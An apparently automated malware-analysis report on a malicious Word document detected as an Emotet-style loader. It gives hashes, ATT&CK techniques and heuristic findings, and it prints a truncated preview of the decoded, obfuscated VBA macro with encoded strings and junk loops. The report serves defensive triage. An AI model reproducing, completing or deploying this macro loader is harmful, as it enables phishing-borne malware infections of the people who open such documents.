Office (OLE) malware analysis — malicious · 54cfe48a0c9f51ee

MALICIOUS

Office (OLE)

181.5 KB Created: 2018-03-26 18:43:00 Authoring application: Microsoft Office Word First seen: 2018-09-04

MD5: c30dc00a61821005166e80223aa9011d SHA-1: 3d86ccf4d752fb24aad32220c1ccda82df4035e0 SHA-256: 54cfe48a0c9f51ee96ea74e57674f58773550a4768d60f60fca703dd77bdaab8

224 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The file is identified as malicious by ClamAV and exhibits multiple high-severity heuristic firings related to VBA macros, including the presence of an AutoOpen macro and CreateObject calls. The extracted VBA macro, 'macros.bas', likely contains obfuscated code that attempts to download and execute a second-stage payload, as indicated by the 'hEimG' function calls which appear to be decoding strings that could represent URLs or commands. The presence of an AutoOpen macro suggests an attempt to automatically execute malicious code upon opening the document, aligning with the Spearphishing Attachment technique.

Heuristics 8

ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	42129 bytes
SHA-256: `79a40fbd872ec6191bb00804a30c40b7d5b321a6323597966ab177f3a7d17635`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 19 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ZJTYkmLi" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "lJMAkYi" Function oRobtGTz() On Error Resume Next For Each bfhpw In dSjuwN YXimKJ = 94096 - zcTqL For Each qzolkQ In WMUBOT AlCXP = ziJjwn Next Next VEjNOloiaQq = hEimG("kzMb@iAZQBlAGUAMQA4ADIAMgBhAGMAMQsX", 7, 27) For Each ubCOz In BmTvIN lCKOkw = 81478 - LNawaZ For Each MpEmzA In uJFCbR hquJS = uUvzC Next Next For Each EHUYa In GsmMI HnCcS = 15663 - jIMXmM For Each Lndwi In zSMaD dQqmid = Jbwim Next Next zzhvWBiK = hEimG("5DbwDgAYgAzAGEAMAAzADcANgBmADEAMgBiADcAOQAyAGQAMwA5ADkAYgBiADYANgA1ADc43", 5, 66) For Each VljMs In iLGNTO iwZpbc = 48681 - iZtVhu For Each DsNFqt In ZPFTq XXDWX = zLkmXF Next Next For Each wknww In NzuNf DafTTl = 46208 - ToGdZ For Each tvFcm In pjRjVI XFwahH = DjibAJ Next Next JbtdbuB = hEimG(".AMABkAGIAZQAwADIAYwBiAGEAMQBiADQAMwBiAGYAMwAzADAAOAAxADKn2,S", 2, 55) For Each iCJiKY In YSsRaF XJwzL = 95881 - BXOYV For Each zJNdcd In KdHFLj wmEIHC = faldoL Next Next For Each cmHkki In hIaJP lXLAi = 52856 - EbRiQ For Each qjCbZF In jjCjl qWvFb = CtJSj Next Next udjKZV = hEimG("WAGEANABjADIAOQA2ADUAYQBjADIANwA3AGMAMgAzADMAOQBiADEAZAA0ADMAOAAxADIAMQA4AGQAZgA4ADYANgA0AGYANgBlADcAMwAwAGQANgA1ADcAZAAxADMAYwBiADkAMQA3ADAAYwBjADQANwBhADYAZQA3AGEANwAzADcAMvf7T6", 2, 173) For Each IaQbB In dTvsa hADziC = 40216 - PFkjJV For Each HOvjQW In RfzIh CSdwvQ = aTDKH Next Next For Each wkvXuH In lJwIp PQSlAT = 28075 - vVsYLT For Each VWbTbF In pntmm BhnBi = UUzBwQ Next Next GzwKXdH = hEimG("DojQA5AGYANwA4ADMAOAA0ADAAMgAwADAAMwBkADAAMAAyADcAZQBkAGIAMgAzADEAMABjAGEAZQAyAGUAMAA3ADUANAAxAGEANQA3ADMAYQBlADEAYgBkADIANQBhADQAYgBkAGQAMQA1ADAANQAzADEAOABiAGYAMQBkAGIANwAxADYAOmbz", 4, 176) For Each wDOCwi In CPmXpO PbfsNh = 1948 - NiruLz For Each VVfCrG In aluEwL uPLQUE = UJijjA Next Next For Each ZBUpuG In vItbAW ORjft = 30046 - OCzYb For Each idalF In zasUj Zpjlr = EZCAB Next Next daEmZQCLdM = hEimG("8iKjrRZQBhADMAZgBjAGMAMgBmADMAYQA0ADQAMwA1ADEAZABlAGUAMwA3AGMAYwBlAGMAYgBiADEAZgAzADAAYQBkADUAZQBlAGMAOABkADgANAA0ADYAZgA2ADQAMgA5AGEAMwBlADgAMQAxADYAMABlAGOw", 7, 150) For Each bbsZLw In RTCHR IWwYrW = 93757 - MTaRc For Each jTBBd In wKdLXP AOAWhS = iuHAK Next Next For Each rluWh In icoXG mpBIwP = 77748 - LUHYwT For Each QKYKHj In iOofaN ikkCR = zQCiD Next Next IjdDtzjS = hEimG("2ANgBmADkAMQA1ADkAYwAzADAAMwBjAGIAOAAxADUANQBhADAAZgBkAGQAZAAxADkAMAA5AGYAZQAwADYAOABhAGMANQA3ADMAOAAzADcANAA1ADEAMwAwAGMAYgBhAGEAYwAxADIAMAAxAGUANgA0AGMAZgAwAGIAYQBjAGQANQBlA54OYJUd", 2, 174) For Each LLXdW In OtNRP wLHKm = 37391 - obTdj For Each VfKjA In qGlVT kSGMT = QVXEF Next Next For Each UqizOX In DkYjz CJDSi = 48657 - vJvsS For Each BtOuV In qNlIZw UDJzC = HUlbSG Next Next ldEXMazZvD = hEimG("5J@jBiADEAYwA1AGUAYQA5ADAANgBjADMAMgA0AGIAOQBlADcAOQBmADkQSi", 5, 53) For Each KLzLu In jJVSoq AIFQB = 57974 - fFGlJ For Each tLkQSw In wXfOZN PtwlVJ = zwOUZo Next Next For Each jntAb In zRGOZt pEWDm = 76430 - jitHn For Each ShKKm In qkBJH YPFrA = ZLqMl Next Next hBHNUkj = hEimG("pf23ADkAOQA1ADUAO2nh", 4, 14) For Each XVXAiF In lNSZPH cHDjou = 29174 - NYLrdY For Each bSFvOm In upGvP tGppk = sRIHY Next Next For Each kawzO In OjzNY CsunIf = 61138 - REjoSi For Each htflf In FbNbB TQVsZ = HkXQMt ... (truncated)

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